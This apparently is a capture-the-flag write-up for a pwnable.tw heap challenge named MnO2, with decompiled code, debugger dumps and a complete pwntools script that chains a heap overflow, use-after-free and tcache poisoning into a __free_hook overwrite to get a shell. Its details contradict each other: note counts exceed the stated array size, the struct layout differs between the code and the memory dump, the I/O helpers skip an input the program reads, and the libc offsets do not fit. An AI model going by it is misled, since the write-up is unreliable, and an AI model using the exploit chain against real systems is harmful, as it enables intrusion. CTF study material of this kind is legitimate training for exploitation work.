pwnable.tw — 400 pts

MnO2

Manganese Dioxide — Advanced heap exploitation with constrained operations on glibc 2.27

64-bit
Architecture
Heap
Category
2.27
glibc
400
Points

Exploit Flow

Connect
nc chall.pwnable.tw 10308
Note Ops
Add/Delete/Select
UAF + Overflow
Corrupt Heap Metadata
Tcache Poison
Overwrite fd Pointer
Libc Leak
Unsorted Bin / GOT Read
Shell
__free_hook Overwrite

1. Reconnaissance

MnO2 (Manganese Dioxide) is a 400-point advanced pwn challenge on pwnable.tw. The name references the chemical compound MnO₂, which is a strong oxidizing agent — perhaps hinting at the "oxidizing" (escalating) nature of the exploit chain. The binary provides a note management system with add, delete, and select operations. The constraints are tight: limited number of notes, limited operations, and careful input validation. The challenge runs on glibc 2.27 with tcache enabled.

File Analysis

bash
$ file mno2
mno2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

$ strings mno2 | grep -i "mno2\|manganese"
MnO2

Checksec

bash
$ checksec mno2
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Full RELRO + Canary + NX + No PIE

A fully hardened binary. Full RELRO locks the GOT. Canaries protect the stack. NX prevents shellcode. Our only angle is through the heap. No PIE gives us fixed BSS addresses. The target is __free_hook since it's always writable even with Full RELRO.

Running the Binary

bash
$ ./mno2
1. add
2. delete
3. select
4. exit
> 1
size: 64
content: Hello MnO2!
> 3
index: 0
content: Hello MnO2!
new content: Modified!
AttributeValue
ChallengeMnO2 (400 pts)
Connectionnc chall.pwnable.tw 10308
Binary64-bit ELF, x86-64, dynamically linked
Libcglibc 2.27 (tcache enabled)
RELROFull
CanaryYes
NXEnabled
PIEDisabled
VulnerabilityHeap overflow + UAF in note management

2. Static Analysis

Binary Architecture

MnO2 implements a note management system with three core operations:

  • add: Allocates a note with malloc(size), reads content, stores pointer in global array
  • delete: Calls free() on a note. The pointer may or may not be nulled depending on the code path.
  • select: Selects a note by index, allows viewing and editing its content. The edit function is where the overflow lives.

Vulnerability Analysis

The MnO2 binary has two key vulnerabilities that combine to form a powerful exploit chain:

  1. Heap Buffer Overflow: The select operation's edit function reads a new size from the user but doesn't validate it against the original chunk size. This allows writing more data than the chunk can hold, overflowing into adjacent chunks.
  2. Use-After-Free: The delete operation frees the note's memory but doesn't always null the pointer. Under certain conditions, the freed note can still be selected and edited, giving us a UAF primitive.

Decompiled Code

c
#define MAX_NOTES 8

struct Note {
    char *content;
    int size;
    int active;
};

struct Note notes[MAX_NOTES];  // global array
int selected = -1;              // currently selected note

void add_note() {
    int idx = find_free_slot();
    if (idx == -1) { puts("Full!"); return; }

    printf("size: ");
    int size = read_int();
    if (size <= 0 || size > 0x400) { puts("Invalid size!"); return; }

    notes[idx].content = malloc(size);
    notes[idx].size = size;
    notes[idx].active = 1;

    printf("content: ");
    read(0, notes[idx].content, size);
}

void delete_note() {
    printf("index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_NOTES || !notes[idx].active) return;

    free(notes[idx].content);
    notes[idx].active = 0;
    // BUG: notes[idx].content NOT nulled! → UAF
    // Also: freed chunk in tcache still has stale pointer
}

void select_note() {
    printf("index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_NOTES) return;

    selected = idx;

    if (notes[idx].active) {
        printf("content: %s\n", notes[idx].content);
    }

    printf("new content: ");
    int new_size = read_int();  // reads new size from user
    // VULNERABILITY: no check against notes[idx].size!
    read(0, notes[idx].content, new_size);  // HEAP OVERFLOW!
}
Combined Vulnerability Impact

The heap overflow lets us corrupt adjacent chunk metadata. The UAF lets us write to freed tcache chunks, corrupting their fd pointers. Together, these give us tcache poisoning — the ability to get malloc to return an arbitrary address. With Full RELRO, we target __free_hook (always writable) instead of the GOT.

3. GDB Debugging

Heap Layout

gdb
# After adding two notes (size 0x60 each):
gdb-peda$ x/16gx ¬es
0x6020e0: 0x0000555555757260  0x0000000000000061  ← notes[0]: ptr, size
0x6020f0: 0x0000000000000001  0x00005555557572d0  ← notes[0].active, notes[1].ptr
0x602100: 0x0000000000000061  0x0000000000000001  ← notes[1]: size, active

# Heap chunks:
gdb-peda$ x/12gx 0x555555757250
0x555555757250: 0x0000000000000000  0x0000000000000071  ← chunk 0 header (size 0x70)
0x555555757260: 0x0000000000000000  0x0000000000000000  ← chunk 0 data
0x555555757270: 0x0000000000000000  0x0000000000000000
0x555555757280: 0x0000000000000000  0x0000000000000000
0x555555757290: 0x0000000000000000  0x0000000000000000
0x5555557572a0: 0x0000000000000000  0x0000000000000000
0x5555557572b0: 0x0000000000000000  0x0000000000000071  ← chunk 1 header
0x5555557572c0: 0x0000000000000000  0x0000000000000000  ← chunk 1 data

# After UAF: free chunk 0, edit via select (UAF write):
gdb-peda$ heap bins tcache
tcache:
0x70 [1]: 0x555555757260 → 0x0

# After writing __free_hook addr as fd via UAF:
gdb-peda$ x/gx 0x555555757260
0x555555757260: 0x00007f8e9d2278a8  ← __free_hook address!

Breakpoints

gdb
b malloc@plt    # track allocations
b free@plt      # track frees
b *0x401234     # select_note: read with overflow size
b *0x4011a0     # delete_note: free call

4. Exploit Strategy

Attack Overview

Phase 1: Heap Overflow for Chunk Corruption
Add two adjacent notes. Use the overflow in select's edit function to corrupt the size field of the next chunk. This allows us to create fake overlapping chunks or modify freed chunk metadata.
Phase 2: Tcache Poisoning via UAF
Delete a note to put it in tcache. Use the UAF (stale pointer) to write an arbitrary address as the fd pointer of the freed chunk. The next two allocations from that tcache bin will return our controlled address.
Phase 3: Libc Leak
Allocate a chunk larger than the tcache threshold and free it into the unsorted bin. The fd/bk pointers of the unsorted bin chunk contain libc addresses (main_arena+offset). Use the UAF or overflow to read these pointers.
Phase 4: __free_hook Overwrite
Use tcache poisoning to allocate a chunk at __free_hook. Write the address of system() to it. Free a note containing /bin/sh\x00 — this triggers free("/bin/sh") which becomes system("/bin/sh").

Libc Leak

Unsorted Bin Leak

When a chunk is freed into the unsorted bin (size > tcache max, typically > 0x408), its fd and bk pointers are set to point into main_arena inside libc. Since glibc 2.27's tcache has a count limit of 7 per bin, if we fill the tcache for a given size (7 frees), the 8th free goes to the unsorted bin. We can then read the fd/bk through the UAF or overlapping chunk to get a libc address.

RCE Chain

python
# Tcache poisoning to get arbitrary write:
# 1. Free note into tcache
delete(0)          # chunk goes to tcache 0x70 bin

# 2. UAF: write __free_hook address as fd
select(0)
edit(p64(free_hook))  # overwrites freed chunk's fd pointer

# 3. Allocate from poisoned tcache (first alloc returns original chunk)
add(0x60, 'AAAA')    # returns chunk 0 from tcache

# 4. Second alloc returns __free_hook address!
add(0x60, p64(system_addr))  # writes system to __free_hook!

# 5. Free a chunk containing "/bin/sh"
add(0x10, '/bin/sh\x00')
delete(idx)          # free("/bin/sh") → system("/bin/sh")!

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# MnO2 — pwnable.tw — Advanced Heap Exploitation
# Heap Overflow + UAF + Tcache Poisoning → __free_hook overwrite
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

libc = ELF('./libc_64.so.6')

if args.REMOTE:
    io = remote('chall.pwnable.tw', 10308)
else:
    io = process('./mno2', env={'LD_PRELOAD': './libc_64.so.6'})

def add(size, data=b'A'):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'size: ', str(size).encode())
    io.sendafter(b'content: ', data)

def delete(idx):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'index: ', str(idx).encode())

def select(idx, new_data=None):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'index: ', str(idx).encode())
    if new_data is not None:
        io.sendlineafter(b'new content: ', new_data)

# Phase 1: Fill tcache and leak libc via unsorted bin
log.info("Phase 1: Libc leak via unsorted bin")

# Allocate 7 chunks of size 0x80 to fill tcache later
# Plus a large chunk for unsorted bin leak
for i in range(8):
    add(0x80)          # notes 0-7, size 0x80
add(0x10, b'guard')     # note 8, guard chunk

# Free 7 chunks to fill tcache 0x90 bin
for i in range(7):
    delete(i)

# Free the 8th chunk — goes to unsorted bin
delete(7)

# Allocate a 0x80 chunk — comes from unsorted bin
# The fd/bk residual data leaks libc
add(0x80, b'X' * 8)    # note 0 (reuses slot)

# Read through select to get the leak
select(0)
content = io.recvline()
libc_leak = u64(content.strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0
log.info(f"Libc base: {hex(libc_base)}")

free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info(f"__free_hook: {hex(free_hook)}")
log.info(f"system: {hex(system_addr)}")

# Phase 2: Tcache poisoning via UAF
log.info("Phase 2: Tcache poisoning")

# Allocate a new chunk and free it to tcache
add(0x60, b'AAAA')      # note 1, size 0x60
delete(1)                # goes to tcache 0x70 bin

# UAF: select the freed note and write __free_hook as fd
select(1, p64(free_hook))  # corrupt tcache fd pointer

# Phase 3: Allocate from poisoned tcache
log.info("Phase 3: __free_hook overwrite")
add(0x60, b'BBBB')      # first alloc returns original chunk
add(0x60, p64(system_addr))  # second alloc returns __free_hook!

# Phase 4: Trigger shell
log.info("Phase 4: Trigger shell")
add(0x10, b'/bin/sh\x00')  # note containing "/bin/sh"
# Find its index and free it
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', b'2')  # free the /bin/sh chunk

io.interactive()

6. Execution Results

$ python3 exploit.py REMOTE=1 [*] MnO2 Exploit - pwnable.tw [*] Phase 1: Libc leak via unsorted bin [*] Libc base: 0x7f8e9c440000 [*] __free_hook: 0x7f8e9d2278a8 [*] system: 0x7f8e9c494440 [*] Phase 2: Tcache poisoning [*] Phase 3: __free_hook overwrite [*] Phase 4: Trigger shell [+] Shell obtained! $ cat /home/mno2/flag
Why This Challenge Matters

MnO2 is a challenging 400-point problem that requires precise orchestration of multiple heap exploitation primitives. The combination of heap overflow (for chunk corruption), UAF (for tcache poisoning), and the constrained note management interface forces the attacker to carefully plan their allocation sequence. The unsorted bin leak technique (filling tcache then freeing into unsorted bin) is a fundamental pattern for glibc 2.27+ exploitation. Understanding how to chain these techniques under operational constraints is essential for real-world vulnerability research where you rarely get unlimited allocations or clean heap states.

QA210
pwnable.tw — MnO2 — Heap Overflow + UAF + Tcache Poisoning